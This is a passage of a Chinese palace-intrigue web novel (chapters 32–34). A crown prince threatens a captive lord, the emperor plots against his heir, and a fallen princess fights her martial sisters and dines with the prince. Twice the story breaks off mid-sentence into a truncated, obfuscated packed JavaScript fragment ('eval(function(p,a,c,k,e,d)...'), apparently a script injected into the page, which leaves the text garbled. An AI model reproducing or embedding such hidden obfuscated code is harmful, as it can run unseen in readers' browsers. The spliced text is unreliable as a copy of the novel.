“蓝—今—宵。” “……” 灼热的油灯举在脸庞,避之不及,蓝今宵蓬头垢面,血迹斑斑,他瞪着靠来的入鞘,咬咬牙,费力抬脚去踹,奈何腿伸不出,只得放弃。 他看向对面坐着的曲探幽,气得俊脸一抽,破口大骂,“曲探幽,你个王八蛋!好歹我们相识一场,同在青史学府习过武,四舍五入也是一门兄弟了,你竟能狠心下手对付我?” “嘴还是这么碎。”曲探幽嗤笑,无聊地翘起二郎腿,龙纹靴抖一抖,“你以为凭借这层关系,孤就放任你过来告密?” “若孤没及时在曲水沣都揪住你,你是否已一字不漏告诉皇上?” 蓝今宵眼睫沾满湿气,欲哭不哭,恨声道,“你!是你自己在蓝穹国和曲朝的交界地孽海一带私自养了那么多军队藏在深山,你害怕我参加中秋宴将此事宣扬出去,你是做贼心虚,自知理亏,难道要怪我看见不该看见的?” 一声冷笑。 曲探幽挑眉,慢悠悠地拍拍手,促狭道,“蓝今宵,孤把你绑了这么久,你张口闭口还是这些话?那么,孤的耐心也已耗尽了。” “入鞘。” “太子殿下!” “割舌,刈目,废除武功,让他选一个。” “是,太子殿下!” 入鞘把灯盏放在桌上,招人摆出千奇百怪的刑具,面向蓝今宵,笑吟吟道,“恭远小侯爷,你选哪一个?” 蓝今宵在蓝穹国就是个混吃等死,荒度光阴的闲散小侯爷,靠着世袭爵位潇洒自在,哪里受得了以上种种酷刑,顿时吓得脚软身子绵,蠕动如蠹。 强忍的哭腔肆意放开,吱哇乱叫,滚圆的豆泪一颗串一颗,砸在地上就是一个深坑。 他撒泼大嚎,“曲探幽,我不敢了!我不敢说出去的,你不要这样啊,我发誓一辈子不来曲朝了,你相信我,我绝对不会说的……不对,我什么都没看见,什么都没看见!救命!救命啊!有没有人,谁来救救我,我不想变成哑巴,我不想变成瞎子,我也不想丢掉好不容易练出来的武功,呜呜呜……” “曲探幽,我发誓,我永世不来曲朝了,你不能杀人灭口啊,嗐!我造了什么孽遇见你!” 一通鞭炮乱溅般嘈杂的话弄得在场之人哄笑不止。 入鞘憋着笑,偏头道,“太子殿下,小侯爷不给答复,那到底用哪一个?” “他怕疼,就不割舌刈目了,况且他一身的花拳绣腿,废不废也无甚区别。为了确保万无一失,不给点教训怎么行……”曲探幽后仰倚着椅背,渗笑道,“喂他喝下哑药即可。” 入鞘应道,“是。” “啊!不要啊!” 蓝今宵使出吃奶的劲儿扭动,奈何看在旁人眼底像一只软乎乎的毛毛虫,毫无伤害的技能。 刻了“宵”字的长剑弃如敝履般扔在地上,曲探幽随意踢了一脚,道,“喝了药,孤就放你离开曲朝,这已经是让了一步。” 喉珠滚动,蓝今宵盯着入鞘袖口里翻出的一瓶黑色的哑药,视死如归地滑下一条晶莹剔透的泪水。 泪水钻入脏兮兮的衣领,像流星划落,瞬息无影。 32. 落花寂寂啼 第三十二章落花寂寂啼 (蔻燎) 艳阳天,天色湛蓝,无云,无风,无鸟鸣。 东宫。 曲探幽一进宫门,三位为首的大宫女红药,余容,将离便毕恭毕敬弯腰,深深一礼,“参见太子殿下。” 摆摆手,曲探幽目不旁视,跨步入内,飓风般刮过。 红药碎步追上前,斗胆道,“太子殿下,奴婢有要事相告。” 顿足,侧身回眸,曲探幽绷着一张面无表情的俊颜,冷冷地睥睨眼前的三位宫婢。 红药言简意赅地把前几天落花啼过来东宫寻找曲探幽一事陈述一遍,还将落花啼送的三只金钏捧给曲探幽看,小心谨慎道,“太子殿下,奴婢们无功不受禄,实在不敢收下春还公主的赏赐,这便一字不假告知太子殿下,请太子殿下将金钏归还公主。” 深邃的眸渊一望无底,曲探幽接过那金钏把玩在手中,沉思良久,重又抛给红药等人,似笑非笑道,“她既已赏给你们,你们就收下,无须自扰。左右以后她会入主东宫,成为你们的女主人。” “是,太子殿下。” 曲探幽走近一步,瞥视三人的容貌,道,“春还公主来找孤,有无留下什么话?” 余容被曲探幽那摄人心魂的眼睛一瞭,心肝扑通扑通乱跳,腮面红彤彤的,怯怯道,“回太子殿下,春还公主并未留话,奴婢们也不知她何以过来。” 曲探幽冷哼,不作理会,思考一下落花啼寻他的日子,不就是逮捕罐中仙凶手之前吗?她必是想同他一道儿去罐中仙,再没有别的理由了。 也不知为何,想清楚来龙去脉,心腑越发堵得慌。 转身拾级而上,对着尾随过来的入鞘吩咐一通,“去曲水沣都告诉盘桓逗留的青史学府之人,就说小侯爷蓝今宵未曾失踪,是蓝穹国国内突发急事,他率先不辞而别回国了。打发他们早些离开!” 入鞘抱拳,“属下明白。”携剑负箭就欲出了东宫大门。 曲探幽道,“站住,去欢漪殿把此事给春还公主讲讲,蓝穹国小侯爷失踪之事不需她插手。” “是,属下这就去办!” 答应一声,入鞘喊上一队曲兵,一溜烟儿跑了。 雪色白墙上翱翔着惟妙惟肖的金龙,龙的脊背弯曲蜿蜒,遥遥延伸到天际。 金色琉璃瓦鳞次栉比地铺出雄伟的高顶,画栋飞甍,干云蔽日,别有一番神工意匠之姿。 天空蓝得如同倒灌的深海,飞过的鸟雀是无水的鱼群,一掠无痕,落不下翅膀的印记。 崇礼殿是曲朝九五之尊的居所,奢靡铺张,宛如天庭。 自诩勤民听政,宵衣旰食的曲远纣,每每在此批阅奏折,接待大臣,还有面见各位妩媚动人的年轻嫔妃。 今日他特意召来皇后覆掀雨,陪他一起品赏来自落花国的神奇的龙鳞花。 龙鳞花百年不遇,一旦开花,香远益清,绽放时日可达一年之久。 只要细心呵护,能随势观赏到它枯萎的那一天。 李怀桃道长说,龙鳞花灌溉的水液可用普通的水,亦可使人的精-血去浇淋,保它不腐不臭,金光璀璨。 曲远纣把李怀桃视作半神,顶礼膜拜,对其言语奉为圭臬,深信不疑。 龙鳞花移栽到曲朝数月,每日都有十岁以下的小宫婢小太监,割血饲养,因此经历长途跋涉的龙鳞花毫无萎靡模样,反而生机勃勃,亭亭玉立。 覆掀雨怀搂小小,纤长的玉指撩拨着小小油光水滑的毛发,依偎在曲远纣身旁,仰望那血迹斑斑的龙鳞花,温和道,“皇上,人的精-血没想到有如此神效,可是,会不会有点残忍?” 曲远纣的目光死死戳在龙鳞花上面,“掀雨,朕知道你心地善良,怜爱宫人,但该做的事就得做,只不过滴几下血,又不是一刀抹了脖子,何足挂心?” “皇上所言甚是。” 皇后自然得给皇上面子的,而且曲远纣是一个极其好面子的帝王。 “汪汪汪!” 小小在怀里扭了扭,看见了殿内摇摆的帷幔,后腿一蹬跳下去抱着帷幔撕咬,兀自“咕噜噜”哼叫。 覆掀雨莞尔,溺爱地放任小小捣蛋,她轻拍走衣袍上的几根狗毛,貌似不经意道,“皇上,亲眼目睹龙鳞花开放的人真的是未来的千古一帝吗?那太子殿下岂不是……” 此话一出,曲远纣的正脸才缓缓移向素雅妆容的覆掀雨,眯了眯眼珠子,“宁可信其有,不可信其无。探幽是众皇子中最为出类拔萃的,朕相信他有这实力。” “皇上,太子殿下到底年轻,很多时候不一定能把握机会,臣妾却觉得千古一帝应该非皇上莫属。像之前的枫林国,曲水国不都是皇上轻而易举攻下的吗?剩余的蓝穹国,落花国,金炼国,焰焚国同样会是皇上的囊中之物,唾手可得。皇上放心,黑羲国是永远誓死追随曲朝的,皇上不必动一点兵戈,黑羲国自会臣服。” “你今儿何以说这些话?” “臣妾无能,嫁来曲朝多年只诞下一名九皇子信诚,信诚年仅五岁,体弱多病,难以为皇上分忧。臣妾明白,他是无缘太子之位了,所以,希望皇上成为千古一帝,避免日后太子殿下登基……不顾母子情分,将臣妾与信诚赶尽杀绝……”许是想起一日三餐光喝药的九皇子,覆掀雨涕泪洒落,梨花带雨,长袖掩面,哭得肩头微颤。 曲远纣拧眉,伸手抱住覆掀雨扣在胸前,说一句话下巴上的黑胡须就抖一抖,“掀雨,你多虑了。探幽不是这种人,不过——你说得好像有点道理。朕虽没能亲眼看见龙鳞花开,也不是千古一帝诗句点出之人,但,朕可以提前除掉那些可能成为千古一帝的人,再顺理成章地取而代之,岂不是痛快?” 覆掀雨垂眸,搂住曲远纣的腰板,细语呢喃道,“皇上,出兵征伐太过危险了,你龙体金贵不宜出去,不如让太子殿下替你去他国打天下,等尘埃落定,届时自然而然的让他……皇上,臣妾会带领后宫嫔妃厉行节俭,缩短吃穿用度,存下丰厚的银两,为后续战役尽献一份绵薄之力,但请皇上笑纳。” 她话语中间故意吞下去的隐晦内容,曲远纣这个在朝野横行无忌几十年的老狐狸如何不知。 他掐过覆掀雨滑嫩的下颌,俯视那人畜无害的透亮水眸,发自肺腑道,“掀雨,你果然是朕的好皇后,你比以前的水绫衣懂事听话多了。” “若能按计划而行,太子之位,朕或许会考虑交给信诚。” 语毕,曲远纣俯首含住了对方的软唇,在金光弥漫的龙鳞花之下褪去多余的丝绸锦袍,及时行乐。 欢漪殿。 殿门口响起一阵清浅的足音,像风吹翠荷,聆听安神。 身披一袭华贵金袍的俊美男子举步入内,目光定定地挪至落花啼的脸庞上。 落花啼半年多不见曲探幽,几乎忘记了对方的长相,但仍记得那倨傲冷漠的眼神和不可一世的语气。 她微微欠身,“太子殿下。” 曲探幽走到曲双蛾身边,环视一圈,启唇,“长姐,落花啼是落花国余孽,你想要留下她,还是三思而行。” 曲双蛾不解道,“寂闲,小花啼现在只是一名可怜的孤女,原已经够苦了,到我殿里做事,至少比在其他地方安生些。” 曲探幽挑起一根眉,“既如此,便听长姐的。不过——”< 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“落花啼,你从前也是金枝花萼的王室公主,如今沦落至此,难道没有一点羞耻之心?” “太子殿下,你也曾言,落花国已不在,又何来的公主呢?” 落花啼拿着抹布狠狠地扭干,眉宇凛然,“奴婢不过是想活着罢了,太子殿下何必这般咄咄逼之,不给活路?” 曲探幽一顿,加大蛮力一把提起落花啼的衣领,觑见对方脸上一闪而过的微妙表情,沉言道,“落花啼,孤告诉你,你们落花国败了就是败了,永远不可能卷土重来,永远不可能。你恨也罢怨也罢,只管冲孤来,是孤领兵作战攻破落花国,一切都是孤。你何必假惺惺地去贴长姐的脸?你安的是什么心?” 落花啼怒目而视,一字不语。 曲探幽厉眉一蹙,嘲弄地嗤笑,旋身负手离去。 你恨也罢,怨也罢,只管冲孤来,是孤领兵作战攻破落花国,一切都是孤…… 一切都是曲探幽。 梦魇不退,折磨心池。 自噩梦中惊醒的落花啼抱着脑袋,坐在床边发了一炷香的呆,回想起花-径深教的话,把噩梦写下来埋在土里,就再也不会做噩梦了。 上一次没有埋成功,这一次一定要埋入土。 她必须得忘记前世的遭遇,不能再沉浸于痛苦里。 翻身下床,借了曲双蛾的书房,笔走龙蛇快速写完梦境之事,整理衣饰妆容,装着宣纸便出了皇宫。 埋在皇宫太晦气,也怕被人不小心挖出来,还是去曲水沣都找地方悄悄埋了。 曲水沣都跟往常一样沸反盈天,摩肩接踵,热闹得人挤人,难以沾地。 落花啼在一处种了几树粉红木芙蓉的曲水河畔站住,用树枝挖了个小坑,把早晨书写的梦魇宣纸推入坑中,慢慢地洒上一层一层的薄土,直至悉数盖住。 在她洒完最后一层黄土之时,眼前“噗通”掉下圆滚滚的事物,锁睛一探,竟是一整团残败褪色的木芙蓉花朵。 红不红,粉不粉,灰不灰,俨然一颗失血过多的断头,触目惊心。 落花啼捡起那朵残红,情不自禁又用树枝掘了一新坑,喟叹几声,“蓼花蘸水火不灭,水鸟惊鱼银梭投。满目荷花千万顷,红碧相杂敷清流。孙武已斩吴宫女,琉璃池上佳人头……佳人头,大抵如此罢。” 她静静地望着手中的败红,眼帘垂下,挡住眸底风光。 “落红不是无情物,化作春泥更护花。” 一人蓦地在背后吟诵了一句诗,音质清泠,敲击人心。 33. 情不知所起 第三十三章情不知所起 (蔻燎) 回眸,落花啼看见了身姿挺峻的花辞树,她愣了一下,莞尔浅笑,扭过头,将木芙蓉置于深坑,轻手轻脚往上洒土,“咦,小花,你怎么来了?” “花啼,我一直守在皇宫大门的附近,看见你出来就刻意跟上,嗯……你在葬花吗?” 花辞树走近,立在落花啼身后遮挡着灼热烤人的阳光,柔笑道,“这可真是,‘落花’保护着‘落花’。” 一听此言,落花啼“噗嗤”笑了,摇摇头,少有的多愁善感起来,“……这花已经死了,我如何能保护得了?” “护它入泥,等来年开春它便能重获新生,再次茁壮成长,含苞待放,与春争艳。” “好玩,所谓落花非无情,应当是如此了。”落花啼点头,撒一些草屑把土坑布置一番。 忙完这些,她站起来,仰头望着花辞树,眼睫微颤,“小花,若花朵里面没有种子,它如何能在开春之时,重新争奇斗艳?” 花辞树滚滚喉结,正欲言语,落花啼已经拍了拍衣襟裙摆,信步走远。 他在落花啼听不见的时候,自言自语道,“那就让新的花朵替你重生。” 话语很轻,被路过的微风携走了,飘向了陌生的天涯。 花辞树抿抿唇,扭身去追落花啼的背影,目若秋波,藏着看不透的雾霾,“花啼,这些天我在围房听落花士兵说,你答应嫁给曲探幽成为曲朝的太子妃?你……是真心的吗?” 走在前方的落花啼闻言,背脊僵硬,滞住步伐,等着花辞树走来,踟蹰半晌,苦涩道,“嗯,小花,人间的情情爱爱或许是我拥有不了的,比起是不是真心想嫁,我更希望落花国平平安安。”能平安一时,拖延些时间总是好的。 至少她与曲探幽成亲,大概率几年期间他都不会出兵征伐落花国,她能伺机阻挠曲探幽统治天下的野心。 花辞树眉心一抽,笑了笑,那笑的滋味掺杂着奇怪的东西,他直勾勾凝睇落花啼,欲语还休,良久,不甘道,“为什么,为什么还是他呢?” “怎么了?” “没,没什么。” 花辞树一手握拳,抵在嘴边轻咳,粲然笑道,“花啼,咱们不说这些伤感的事了,我告诉你一个好消息,你的两位师姐,红衰和翠减还没离开曲水沣都,她们在一家客栈歇息呢,我猜,应该是在等你告别。” “真的吗?多谢小花帮我留意,我们现在去见见她们吧。” 落花啼喜形于色,她面如敷粉,唇犹施脂,笑起来眼弯弯的,黑长的睫毛上翘,美得令人心惊。 两人肩并肩走在长街上,时而低语聊天,时而逛逛新奇有趣的小商铺,说说笑笑,宛如一对神仙眷侣。 落花啼翻看着摊子上摆列的绒花编织出的发钗珠饰,五颜六色,光彩熠熠,她挑挑拣拣,想买几个送给师姐们,突的手腕一紧,被花辞树拉着手往后退了几步,“发生何事?” “花啼,你看,天底下还有和尚逛青楼的奇事呢?” “嗯?” 落花啼愕然,依着花辞树手指的方向瞧去,一座钉头磷磷,碧流红燃的华丽建筑屹立在对面,绯红的匾额上有着金色的三个大字“香染魂”。 香染魂不正是曲水沣都排场最大的烟花之地吗? 目下二楼的位置有一窄窄的杏色蝉翼纱窗半启,其中站着一矮小的男孩,手擎赤金锡杖,一身光鲜亮丽的锦衣,小脑袋光秃秃的无一根头发。 此时左拥右抱着比他高一个头的妙龄美女,脸颊红如滴血,印了不知多少人的唇迹。 张大嘴巴,落花啼脱口而出,“须,须弥?” “什么?须弥?你是说圣童教的圣童须弥?” 花辞树不可思议道,“他居然逛青楼!” 落花啼仔细瞄瞄窗口的人影,确定是不久前在中秋宴上认识的须弥,五味杂全,又惊又怪,难道当时曲瑾琏荒诞的言辞是真实发生的? 平定心神,再次望去,香染魂的窗户悄无声息地掩上了,街道上沸腾的人声把那栋花花绿绿的高楼越推越远,好像不在同一个世间。 落花啼不愿深究此事,毕竟须弥的作风与她毫无干系,若是要出面了解明晰,反倒惹一身骚。 她胡诌道,“不是,我眼花看错了,那就是个陌生小孩子,说不定是哪家大人带进去顺便吃饭的。” 这种理由骗自己都没有可信度,不消说是骗一骗警世司的花辞树。 花辞树是很会察言观色的,他并不强人所难地追问,只依旧拉着落花啼的手,领着她去寻红衰翠减。 好在落花啼临走之前,买了两朵粉色绒花,揣在袖口。 落花二人前脚进入一间普通的客栈,后脚客栈楼下就堆出一群人,叽叽喳喳。 一曲兵盯着落花啼和花辞树消失在楼梯的两抹身形,黑眼珠子比葡萄还圆,“入鞘大人,春还公主和那狐狸精男人去客栈做什么?光天化日,她难不成在给太子殿下戴……” “啪!” 还没戴完绿帽子,那曲兵就舒服得挨了一刮子。 入鞘横眉竖目,切齿道,“闭嘴!” 入鞘等人曾在花落知多少和花辞树见过几面,他如何不知道那是落花国的人。怪就怪在此人跟来曲朝,不知打的什么算盘,还屡屡不要命地亲近春还公主,是可忍孰不可忍,简直是在太岁头上动土。 “把这客栈包围起来,春还公主出来后,那狗男人就杀无赦!” “遵命,入鞘大人!” 一行人淹没在人海,静静等待。 上楼的落花啼,花辞树按照店老板指的门号找到房间,扣扣门。 里头一人出声道,“进来。” 落花啼推门而入,欣喜道,“大师姐,二师姐,我来看看……啊!” 一句话没说完,胸口便硬生生接了力道毒辣的两掌,打得落花啼脚下后跌惯性倒进了花辞树的双臂之中。 来不及缓劲,屋里的两人劈头盖脸地挥拳推掌,一秒三招,擂起寒风,直往落花啼身上招呼。 落花啼心内暗骂,稳住下盘,借着花辞树扶她的手爬起来,咬牙去挡红衰翠减的攻击。 一拳抵住其中一人的拳头,震得落花啼的指骨“咔嚓”的响,半只手麻痹无力,好像不是自己的了。 天相宗的三师姐妹无视花辞树,即刻搅成一团红红绿绿的大花苞,在客房中骨碌碌滚动,座椅摇晃,墙角裂缝,大有散架的可能。 上一世落花啼凭借落花国长公主的身份飞扬跋扈,目空一切,在天相宗除去面对花下眠会低一低头,她几乎是横着走。所谓的武功自然也在这样傲慢的性格下大打折扣,成天是敷衍了事,纯粹应付花下眠的。 她觉得会个十几招保命的剑式就已足够,难道天底下还有谁会斗胆伤害她这位春还公主吗? 当然有。 所以,前世落花国灭亡后,落花啼单枪匹马,武力低微,无从报复刺杀曲探幽,反被曲探幽趁机点住浑身穴位,残忍地废去了武功,沦为弱不禁风的囚奴。 红衰一脚踢中落花啼腹部,后者撞倒一柜子,险险靠住身形不摔到地上去。 花辞树见落花啼与红衰翠减打了半个钟头,一次次倒下一次次起身,绝美的面容蒙上愠怒的红,焦急又心疼,冲过去护在落花啼前面,“她们无缘无故打你,你竟这样受着?” 眉峰颦拢,他忍不住拔出一把淬毒的黑匕首,匕首的剑柄上雕了“心惩”二字,一出鞘就弥漫着毒药的气息,令人避之不及。 翠减讥笑,“绣花。” 红衰心有灵犀地收了话茬,“枕头。” 绣花枕套,中看不中用。 这句话自然不是说给花辞树的。 落花啼一听就明白两位师姐的意思,拨开花辞树揽到背后,强行咽下喉头涌上的血液,背脊一挺,朝师姐抱拳一礼,“大师姐,二师姐,师妹自知花拳绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他看着前方一瘸一拐的落花啼,喉结一滑,单手猛的拽住落花啼的手腕,声音很低很低,“你受伤了,要不先别回皇宫了,我带你去瞧大夫。她们是你的师姐,出手却如同对待敌人不顾情面,完全不惦念你是同宗师妹,花啼,如此之事你也能忍?你从前分明……” 你从前分明不是这样的。 落花国的长公主落花啼,落春还,高贵骄矜,举止嚣张,怎会低声下气,卑微祈求着别人对自己拳脚相加。 即便为了习武,也断不会使用这种办法。 恍如换了一人。 早知如此,他才不会领着落花啼来客栈,被人毫不怜惜地殴打。 落花啼无所谓地摇头,仔细把秘籍揣兜里,拍拍花辞树的手背,安抚道,“习武之人受点皮肉伤是最正常不过的,小花你无须担忧,我回宫让银芽帮忙上药,过几日便好了。” 花辞树眼帘低下,不去看前面的人,闷闷道,“你是不是有什么心事藏着不说?你每日魂不守舍,心不在焉,我能看出来的。” “……我能有什么心事?小花,你又玩笑了。” “花啼,不管是以前,还是以后,我都希望你过得安稳。” 花辞树答非所问,慢慢收回了手,太息一声,闭口似蚌。 来到客栈一楼的大门口,两人闲谈须臾将要分别,花辞树知晓落花啼坚持回皇宫,阻拦不得,无奈应着。 一至长街,便见一群锦衣侍卫自黑暗中鱼贯而来,团团包裹着花辞树。 入鞘推开人群走出,瞟了瞟落花啼旁边的花辞树,阴阳怪气,鼓手道,“我没看错吧?警世司的司主花辞树?好久不见,好久不见啊。你不请自来,混入曲朝,铁定居心叵测,如此做法可不是有礼之人呢。” “既然你无礼,休怪我等不给脸面!” “动手!” 34. 肩头落叶黄 第三十四章肩头落叶黄 (蔻燎) 一声令下,入鞘率领的一队高大侍卫“唰唰唰”抽刀相向,不出半秒就将红衣冉冉的花辞树堵得水泄不通。 兵戈碰撞,荡出清脆若冰裂的刺耳声。 花辞树波澜不兴,拔出心惩,见血封喉的毒匕首以鬼神难捕的速度一举撂倒一围人,打得那些自诩训练有素,体格强健的侍卫们纷纷挂了彩。 他们捂着流血的伤口,目眦欲裂,无法相信地瞪着那愈来愈黑的皮肤,吓得破口大骂,畏葸恐惧。 长街上逛夜市的老百姓被这边的热闹吸引,翘首望来,嘀嘀咕咕,议论不止。 入鞘指使其他侍卫把碍眼的百姓打发走,上前几步,“你胆敢在曲朝撒野?不想要命了?” “人不犯我,我不犯人。是你们先动手的,我只是认真配合罢了,你们技不如人,我也无可奈何。” 花辞树铁嘴钢牙地反驳,不紧不慢携一软帕擦干净匕首,斜挂在腰间,抱拳环胸,目光睥睨。 观战的落花啼本意想去助花辞树,她还没冲进厮杀圈,花辞树便轻而易举把人打趴了。不由纳闷起来,对方的武功不容小觑,出神入化,那么何以在落花国抓捕罪大恶极的龙鳞人跃鲤之时,他却屡屡错失机会,任由跃鲤杀了那么多“生肖”。 如果花辞树使出百分百的气力,跃鲤根本无从逃出他的控制。 除非,他是一心二用,未曾将抓龙鳞人一事搁在心尖上。 此事过去良久,再提出来说不合时宜,落花啼吁一口气,暂且按下不表。 落花啼看着侍卫们渐渐发紫的嘴唇,诧异道,“小花,这毒致命吗?” “致命。” 花辞树朝落花啼柔柔笑道,“花啼,你想他们活着吗?不想的话,我就不给解药了。” 落花啼默然。 她私心是想让他们死的。 花辞树神情异样,抿唇道,“花啼心善,定是于心不忍了,我自然不能在你眼前滥杀无辜,坏了好印象。” “……”见花辞树会错了意,落花啼干笑几下,也不阻拦,嘴角凝着似笑非笑的弧度。 花辞树自衣袖掏出一白瓷瓶子扔给入鞘,回眸俯视落花啼,拂了拂她鬓边因斗武而散落的几绺青丝,语调温柔得像春花绽放,“花啼,保重。” 入鞘接住解药,赶忙去给中毒的侍卫服下,甫一转头,那袭血染的红衣竟风儿般匿去,了无痕迹。 落花啼失神地望着花辞树消失的方向,不知不觉腮面滚烫绯红,她拨动碎发,平定心绪,对入鞘不冷不热道,“走吧。” 入鞘还想派人去追,转念忖度,害怕自己的下属又着了道儿,只得忍气吞声。 他是东宫的侍卫统领,又是曲探幽自幼一同长大的心腹,所以他一辈子愿为曲探幽俯首听命,肝脑涂地。 基于爱屋及乌的观念,入鞘对落花啼的容忍度也极高,他扯出笑容,伸手邀请落花啼向不远处的一辆华丽马车走去。 两人在前方走,侍卫陆续结成一列跟上。 入鞘三两语告诉落花啼关于失踪的蓝穹国小侯爷的最新消息,说得神神秘秘,半真半假,愣是谁人听了也不得不深信不疑。 落花啼无可置信,“什么?蓝穹国小侯爷自己一人回蓝穹国了?他未在罐中仙失踪?” 入鞘答道,“是这样,春还公主。” 光听入鞘描述,字里行间有理有据,落花啼无法推测那小侯爷到底是不是回国了,撇撇嘴,稍觉蹊跷,但没多言。 她从没见过蓝穹国的小侯爷,即便入鞘有心骗她,她一时也佐证不了,且看日后能不能打听到那小侯爷的情况。 入鞘放下马车锦帘,坐上去驾马出发,侍卫们擎刀尾随,金色的队伍在曲水沣都的街道上扎眼引目得很。 入鞘回忆起下午时分,他趁落花啼和花辞树还在客栈逗留,吩咐属下看守好,自己马不停蹄奔回皇宫告状。 一五一十把落花啼和花辞树在客栈卿卿我我,你侬我侬的事情添油加醋禀告一通,等待曲探幽下令诛杀那不明好歹的花辞树。 在东宫小花园的楠木椅上晒太阳的曲探幽面无表情,半晌,笑了笑,不答一字。 一味淡定地命令一些宦官搬弄着装满五彩斑斓,鳞片密布的蛇类的铁笼,似乎丝毫不在意。 入鞘观看宦官搬蛇来回跑了几趟,不明所以地抠头,“太子殿下,这是要做什么?” 曲探幽不语。 入鞘瞅瞅曲探幽的脸色,斟酌半秒,忐忑道,“太子殿下,您不生气春还公主还没与您成亲就和旁的男人拉拉扯扯吗?这不是在给太子您戴那什么绿帽子吗?若是换作属下,必定将那对奸-夫淫-妇一起手刃了!” 怎么还有闲心逸致玩这些破蛇…… 曲探幽道,“闭嘴。” 入鞘便乖乖闭嘴了。 思及此处,他摸空回头看了看背后的马车帘子,金线绣花的帘角在马车驰骋的动作下荡漾如水,时而高,时而低,时而掀起一半来。 入鞘不小心望见帘子下的一双蜀锦粉金色绣鞋,上面有着栩栩欲活的雪色牡丹,看着看着,那些牡丹动了一动,交叠在一块,像极了一枝双生花。 雪色牡丹开得热烈,层层花瓣堆出大气的厚度,花瓣晃动,仿佛浓郁的香味都扑了过来。 “啊!” 正偷窥得起劲,入鞘只觉侧腰钝痛,那绣着雪牡丹的粉金鞋子猛的踹来,差点给他踢地上去。 落花啼冷笑,“看够了吗?还想不想要眼珠子?” “……” 自知理亏的入鞘倒吸凉气,扭身继续驾车,心底祈祷着落花啼千千万万不要去曲探幽那告状,否则他吃不了兜着走。 马车内的落花啼四仰八叉地躺了须臾,逮住入鞘鬼鬼祟祟的眼神,刻意抬脚踹去,踹完后她百无聊赖,担忧花辞树会否被入鞘一行人再次报复。 忧心忡忡地撩开一旁的锦帘探头看去,街道上人流如织,络绎不绝,欢声笑语闹上了天宵,果然是一方大国,这里的百姓们知足常乐,精神饱满,端的是自在逍遥。 蓦地,落花啼不经意扫到墙角的一抹绿影。 一位灵秀的妙龄女子提着一只莲花灯笼,眼神怨怼,表情阴冷,死死地盯着她。 此人化成灰她都认得。 不就是前些天被赶出东宫的簌珠吗? 落花啼一惊,眨眨眼睛,仔细寻觅,簌珠却悄无声息地躲进了人海,鬼魅般杳然。 不知为何,落花啼心腑油然而生了一种空落落的慌张。 月挂梢头,寒星寥寥,薄云扰扰。 白墙金瓦上蹲踞着翎羽五颜六色的名贵鸟雀,扑翅鸣叫,好像要把那轮圆月啄得千疮百孔。 欢漪殿里的几株年老的枫树经受不住秋凉,一片片扇面大的叶掌沙啦啦坠落,铺了一地的赤红色毡毯。 殿中灯光明亮,映得枫叶愈加红透,像天际思凡的霞云匍匐不动。 人儿路过树底,偶有一张宽大的枫叶披上肩头,像在刻骨铭心地道别。 落花啼一进皇宫就抛下入鞘等人直奔欢漪殿,刚一步入,期盼许久的银芽就扑上来,“公主,你终于回来了!还以为你不要奴婢了!” “怎么会?我不在的时候有没有人欺负你?” “回公主,没有人欺负奴婢,长公主和桃镯姐姐都待奴婢极好,只是……” “只是什么?” “公主,只是现在……” 银芽左顾右盼,面色古怪,支支吾吾的,她偷偷指了指殿内,压低嗓子,“公主,你进去就明白了。” 不好的预感袭上脊梁骨。 落花啼揉揉银芽的后脑勺,美目流波,笑如花面,嬉闹道,“瞧你紧张兮兮的,在双蛾姐姐殿内,还能遇见什么呢?” 话语将毕,一道萦回缭绕,流玉泄珠的笛音飘然掠至耳膜,闻者如坠冰窟,寒冷战栗。 此时粉衣的桃镯推门出来,笑盈盈道,“春还公主,您回来了,长公主和太子殿下邀您一同用晚膳,请!” 银芽小声道,“公主。” 落花啼攒眉,深呼吸一气,“没事,吃顿饭罢了。” “吱呀——” 桃镯身为欢漪殿的大宫女深谙尊卑之道,手疾眼快为落花啼打开殿门,一路引她到里面的膳桌坐下。碍于曲双蛾,曲探幽事前吩咐不需人伺候,她便慢慢退出去,轻轻掩上门。 悠扬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好了好了,不取笑你们了。先吃饭吧,小花啼,这些菜都是我亲自为你和寂闲做的,寂闲最爱吃我做的菜了,不知合不合你的胃口。” 曲双蛾想起什么,指着桌面上的一盆汤,喜悦道,“小花啼,寂闲心里时时刻刻装着你哦,这是他去曲水沣都招的厨子做出的蛇宝羹,你喝一口尝尝?” 她推推曲探幽的臂膀,教导道,“寂闲,你给小花啼讲讲蛇宝羹的做法,她肯定感兴趣。” 落花啼盯着桌上那盆颜色和周围菜品十分迥然的粘稠蛇宝羹,心湖一热,饶有兴味地直视曲探幽的俊脸。 曲探幽意味深长地注目落花啼,片刻后收回眼神,侃侃而谈道,“蛇宝羹的做法并不难,先把五种不同的蛇开膛破肚,处理干净,用沸水滚至九成熟,再将蛇肉与骨头分离,徒手撕成细条儿。以猪骨羊骨熬出高汤,加上香蕈干,火腿片,鸡丝,鲍鱼,木耳丝,姜丝,葱花,拿秘制佐料调味,勾芡煮半盏茶时间,方能出锅。” “你说得如此清楚,难不成你会做?” “孤不会,但以后应该会。” 落花啼嗤笑,“你会不会与我无关,我只是随口问问罢了。” 曲探幽挑眉,“试试?” “试试就试试。” 蛇酒都喝过百十坛了,还怕吃点蛇羹吗? 今天的曲探幽贴心得不正常,亲手舀一碗递给落花啼,看得曲双蛾忍不住拍手,“寂闲,你要一直对小花啼这么好,明白吗?” 曲探幽莞尔,“长姐言之有理,寂闲记在心中了。” 落花啼挖一勺蛇宝羹塞嘴里,舌尖一裹,眼睛登时亮似烛火。 入口即化,不腥不臊,咸鲜适宜,堪称为一绝。 她情不自禁喝了大半碗,连连称赞,“味道实属佳品。” 曲双蛾笑意流辉,脱口而出道,“小花啼,你喜欢便好,你放心,寂闲现在就待你好,以后你们成为夫妻,他会待你更好的。” “唔。” 落花啼嘴角抽-搐,喉咙一硬,一口蛇羹差点喷出来,强忍着吞下,憋红了一张脸。 